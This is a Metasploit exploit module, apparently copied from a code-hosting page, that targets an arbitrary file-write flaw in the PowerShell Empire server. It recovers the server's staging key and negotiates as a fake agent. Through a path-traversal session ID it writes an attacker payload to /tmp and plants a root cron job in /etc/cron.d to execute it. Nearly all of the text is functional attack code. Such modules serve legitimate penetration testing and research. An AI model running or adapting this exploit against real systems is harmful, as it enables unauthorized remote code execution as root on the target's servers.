245 lines
8.4 KiB
Ruby
245 lines
8.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
TASK_DOWNLOAD = 41
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
|
|
'Description' => %q{
|
|
A vulnerability existed in the PowerShellEmpire server prior to commit
|
|
f030cf62 which would allow an arbitrary file to be written to an
|
|
attacker controlled location with the permissions of the Empire server.
|
|
|
|
This exploit will write the payload to /tmp/ directory followed by a
|
|
cron.d file to execute the payload.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Spencer McIntyre', # Vulnerability discovery & Metasploit module
|
|
'Erik Daguerre' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
},
|
|
'Platform' => %w{ linux python },
|
|
'Targets' =>
|
|
[
|
|
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
|
|
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
|
|
],
|
|
'DefaultOptions' => { 'WfsDelay' => 75 },
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Oct 15 2016'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
|
|
OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
|
|
OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
|
|
OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])
|
|
])
|
|
end
|
|
|
|
def check
|
|
return Exploit::CheckCode::Safe if get_staging_key.nil?
|
|
|
|
Exploit::CheckCode::Appears
|
|
end
|
|
|
|
def aes_encrypt(key, data, include_mac=false)
|
|
cipher = OpenSSL::Cipher::AES256.new(:CBC)
|
|
cipher.encrypt
|
|
iv = cipher.random_iv
|
|
cipher.key = key
|
|
cipher.iv = iv
|
|
data = iv + cipher.update(data) + cipher.final
|
|
|
|
digest = OpenSSL::Digest.new('sha1')
|
|
data << OpenSSL::HMAC.digest(digest, key, data) if include_mac
|
|
|
|
data
|
|
end
|
|
|
|
def create_packet(res_id, data, counter=nil)
|
|
data = Rex::Text::encode_base64(data)
|
|
counter = Time.new.to_i if counter.nil?
|
|
|
|
[ res_id, counter, data.length ].pack('VVV') + data
|
|
end
|
|
|
|
def reversal_key
|
|
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
|
|
[
|
|
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
|
|
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
|
|
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
|
|
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
|
|
]
|
|
end
|
|
|
|
def rsa_encode_int(value)
|
|
encoded = []
|
|
while value > 0 do
|
|
encoded << (value & 0xff)
|
|
value >>= 8
|
|
end
|
|
|
|
Rex::Text::encode_base64(encoded.reverse.pack('C*'))
|
|
end
|
|
|
|
def rsa_key_to_xml(rsa_key)
|
|
rsa_key_xml = "<RSAKeyValue>\n"
|
|
rsa_key_xml << " <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
|
|
rsa_key_xml << " <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
|
|
rsa_key_xml << "</RSAKeyValue>"
|
|
|
|
rsa_key_xml
|
|
end
|
|
|
|
def get_staging_key
|
|
# STAGE0_URI resource requested by the initial launcher
|
|
# The default STAGE0_URI resource is index.asp
|
|
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
|
|
})
|
|
return unless res and res.code == 200
|
|
|
|
staging_key = Array.new(32, nil)
|
|
staging_data = res.body.bytes
|
|
|
|
reversal_key.each_with_index do |(pos, char_code), key_pos|
|
|
staging_key[key_pos] = staging_data[pos] ^ char_code
|
|
end
|
|
|
|
return if staging_key.include? nil
|
|
|
|
# at this point the staging key should have been fully recovered but
|
|
# we'll verify it by attempting to decrypt the header of the stage
|
|
decrypted = []
|
|
staging_data[0..23].each_with_index do |byte, pos|
|
|
decrypted << (byte ^ staging_key[pos])
|
|
end
|
|
return unless decrypted.pack('C*').downcase == 'function start-negotiate'
|
|
|
|
staging_key
|
|
end
|
|
|
|
def write_file(path, data, session_id, session_key, server_epoch)
|
|
# target_url.path default traffic profile for empire agent communication
|
|
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
|
|
data = create_packet(
|
|
TASK_DOWNLOAD,
|
|
[
|
|
'0',
|
|
session_id + path,
|
|
Rex::Text::encode_base64(data)
|
|
].join('|'),
|
|
server_epoch
|
|
)
|
|
|
|
if datastore['PROFILE'].blank?
|
|
profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
|
|
else
|
|
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'cookie' => "SESSIONID=#{session_id}",
|
|
'data' => aes_encrypt(session_key, data, include_mac=true),
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(profile_uri)
|
|
})
|
|
fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200
|
|
|
|
res
|
|
end
|
|
|
|
def cron_file(command)
|
|
cron_file = 'SHELL=/bin/sh'
|
|
cron_file << "\n"
|
|
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
|
|
cron_file << "\n"
|
|
cron_file << "* * * * * root #{command}"
|
|
cron_file << "\n"
|
|
|
|
cron_file
|
|
end
|
|
|
|
def exploit
|
|
vprint_status('Recovering the staging key...')
|
|
staging_key = get_staging_key
|
|
if staging_key.nil?
|
|
fail_with(Failure::Unknown, 'Failed to recover the staging key')
|
|
end
|
|
vprint_good("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
|
|
staging_key = staging_key.pack('C*')
|
|
|
|
rsa_key = OpenSSL::PKey::RSA.new(2048)
|
|
session_id = Array.new(50, '..').join('/')
|
|
# STAGE1_URI, The resource used by the RSA key post
|
|
# The default STAGE1_URI resource is index.jsp
|
|
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
|
|
res = send_request_cgi({
|
|
'cookie' => "SESSIONID=#{session_id}",
|
|
'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
|
|
})
|
|
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
|
|
vprint_good("Successfully sent the RSA key")
|
|
|
|
# decrypt the response and pull out the epoch and session_key
|
|
body = rsa_key.private_decrypt(res.body)
|
|
server_epoch = body[0..9].to_i
|
|
session_key = body[10..-1]
|
|
print_good('Successfully negotiated an artificial Empire agent')
|
|
|
|
payload_data = nil
|
|
payload_path = '/tmp/' + rand_text_alpha(8)
|
|
|
|
case target['Arch']
|
|
when ARCH_PYTHON
|
|
cron_command = "python #{payload_path}"
|
|
payload_data = payload.raw
|
|
|
|
when ARCH_X86, ARCH_X64
|
|
cron_command = "chmod +x #{payload_path} && #{payload_path}"
|
|
payload_data = payload.encoded_exe
|
|
|
|
end
|
|
|
|
print_status("Writing payload to #{payload_path}")
|
|
write_file(payload_path, payload_data, session_id, session_key, server_epoch)
|
|
|
|
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
|
|
print_status("Writing cron job to #{cron_path}")
|
|
|
|
write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
|
|
print_status("Waiting for cron job to run, can take up to 60 seconds")
|
|
|
|
register_files_for_cleanup(cron_path)
|
|
register_files_for_cleanup(payload_path)
|
|
# Empire writes to a log file location based on the Session ID, so when
|
|
# exploiting this vulnerability that file ends up in the root directory.
|
|
register_files_for_cleanup('/agent.log')
|
|
end
|
|
end
|